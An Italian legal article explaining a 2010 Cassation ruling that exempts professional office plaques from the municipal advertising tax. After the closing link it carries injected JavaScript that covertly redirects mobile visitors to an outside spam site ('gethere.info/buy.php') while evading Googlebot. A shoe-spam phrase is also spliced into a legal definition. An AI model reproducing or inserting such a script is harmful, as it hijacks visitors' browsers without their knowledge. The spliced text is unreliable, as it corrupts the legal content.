Le targhe degli studi professionali sono esenti da tassa sulla pubblicità.

di Loredana Carminati - 30 marzo 2011
Classificato in: Legislazione, Nazionale, Schede | Tag:

Lo ha deciso la Corte di Cassazione – Sezione Tributaria con sentenza nr.16722 del 16 luglio 2010. Si estende anche alle targhe che identificano la sede degli studi professionali l’esenzione dall’imposta sulla pubblicità già prevista ai sensi dell’art. 17, comma 1-bis del D.lgs. 507/93 per le insegne di esercizio delle attività commerciali e di produzione di servizi.

Ai fini dell’esenzione, la targa esposta all’esterno dello studio professionale non deve contenere messaggi promozionali, ma esclusivamente:

  • i nomi;
  • l’attività svolta;
  • il luogo dello studio.

La Corte di Cassazione ha preso questa decisione interpetando la normativa italiana e rapportandola alla consolidata giurisprudenza Comunitaria in materia.

Cerchiamo qui di fare il punto sulla normativa interessata, con la finalità di informare la categoria dei “professionisti”- e chi realizza le loro targhe – su una questione che a volte ha provocato abusi da parte degli Uffici comunali.
Le premesse: l’Imposta Comunale sulla Pubblicità.

Il D.Lgs. 507/1993 stabilisce che i messaggi pubblicitari, diffusi nell’ambito di un’attività economica allo scopo di promuovere la domanda di beni e servizi o migliorare l’immagine del soggetto pubblicizzato, siano assoggettati all’imposta comunale sulla pubblicità. La misura dell’imposta varia a seconda della tipologia e delle dimensioni del mezzo pubblicitario utilizzato, della localizzazione del messaggio e della durata dell’esposizione. Il decreto prevede però alcune ipotesi di esenzione dal tributo.

Ai sensi dell’art. 17 del D.lgs. 157/1993 sono esenti da imposta Comunale sulla Pubblicità le targhe:

  • con superficie inferiore ai 300 cm2;
  • ad esposizione obbligatoria per disposizione di legge o regolamento (ambulatori medici, studi notarili, farmacie), se di superficie non superiore a 500 cm2;
  • qualificabili come “insegne di esercizio”.

Per quanto riguarda l’esenzione delle insegne d’esercizio AIFIL, ed in particolare l’avv. Francesco Laruffa, ha scritto fiumi di considerazioni e di note informative.

Senza ripercorre qui l’intera vicenda ricordiamo che per “insegna di esercizio” è da intendersi una scritta, anche luminosa, in caratteri alfanumerici, realizzata e supportata con materiali di qualsiasi natura, roshe run nm br installata nella sede dell’attività a cui si riferisce e nelle pertinenze accessorie alla stessa, che abbia la funzione di indicare al pubblico il luogo di svolgimento dell’attività economica. Ricordiamo altresì che solo le insegne di esercizio di attività commerciali e di produzione di beni o servizi che contraddistinguono la sede ove si svolge l’attività cui si riferiscono e di superficie complessiva non superiore a 5 metri quadrati non sono soggette a imposta. Diversamente, l’imposta va corrisposta sull’intera superficie.

I problemi interpretativi.

L’esplicito richiamo normativo alle “insegne di esercizio di attività commerciali e di produzione di beni o servizi” ha determinato alcuni dubbi interpretativi. Si è infatti posto il problema se tale ipotesi di esenzione potesse essere applicabile anche alle targhe dei professionisti, la cui attività non è riconducibile alla produzione di servizi (ossia, a un’attività qualificabile come imprenditoriale) ma integra, piuttosto, una prestazione di servizi.

Sul punto era intervenuta una Circolare, la n. 3/2002 MEF, con la quale si era precisato che le targhe dei professionisti possono rientrare nella definizione di esonero in quanto assolvono al compito di individuare la sede ove si svolge un’attività economica. La questione tuttavia è rimasta assai dibattuta, tra parte della giurisprudenza che si è indirizzata verso una lettura restrittiva della norma e la prassi ministeriale, propensa per un’interpretazione estensiva.

La sentenza nr. 16722/2010 della Corte di Cassazione.

A dirimere la questione è giunta la Sentenza nr. 16722/2010 della Corte di Cassazione, Sezione Tributaria.

La pronuncia della Cassazione prende avvio da un avviso di accertamento emesso nei confronti di professionisti (nella fattispecie, avvocati) i cui nominativi comparivano su una targa adiacente al portone d’ingresso dello studio professionale, riportante, oltre ai nominativi, la specifica dell’attività esercitata e l’ubicazione dello studio, senza altre connotazioni o peculiarità.

Il concessionario per la riscossione aveva proceduto al recupero d’imposta ritenendo che la targa professionale non potesse fruire dell’esimente riconosciuta per le insegne di esercizio di attività commerciali e di produzione di beni o servizi.

Le motivazioni addotte dal concessionario erano state ritenute valide dai giudici di merito che sia in primo, sia in secondo grado, avevano confermato la legittimità dell’atto impositivo.

La disputa è quindi giunta innanzi alla Sezione Tributaria della Corte di Cassazione, la quale ha ritenuto inammissibile che i professionisti possano essere soggetti ad un regime fiscale differenziato e più gravoso rispetto a quello riservato a coloro che svolgono una qualsiasi altra attività economica.

In particolare, dopo aver riconosciuto che la norma di esenzione sembrerebbe trovare applicazione per le sole attività degli imprenditori, la Corte ha precisato che secondo consolidata giurisprudenza comunitaria, la nozione di impresa abbraccia qualsiasi entità che eserciti un’attività economica, a prescindere dallo status giuridico e dalle sue modalità di finanziamento.

In tale ottica, anche l’attività svolta dai professionisti costituisce un’impresa e, pertanto, l’esclusione dall’ambito applicativo dell’esenzione prevista per le insegne di esercizio deve essere riconosciuta anche per le targhe degli studi professionali.

Gli elementi dell’insegna che possono fruire dell’esenzione dall’imposta di pubblicità ai sensi dell’art. 17, c. 1-bis, D.Lgs. 507/1993:

  • nominativo del professionista o dello studio;
  • tipologia e descrizione dell’attività esercitata;
  • marchi dei servizi offerti.

Per approfondire:

Testo integrale della corte di cassazione nr. 16722 del 16 luglio 2010.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/buy.php’);}

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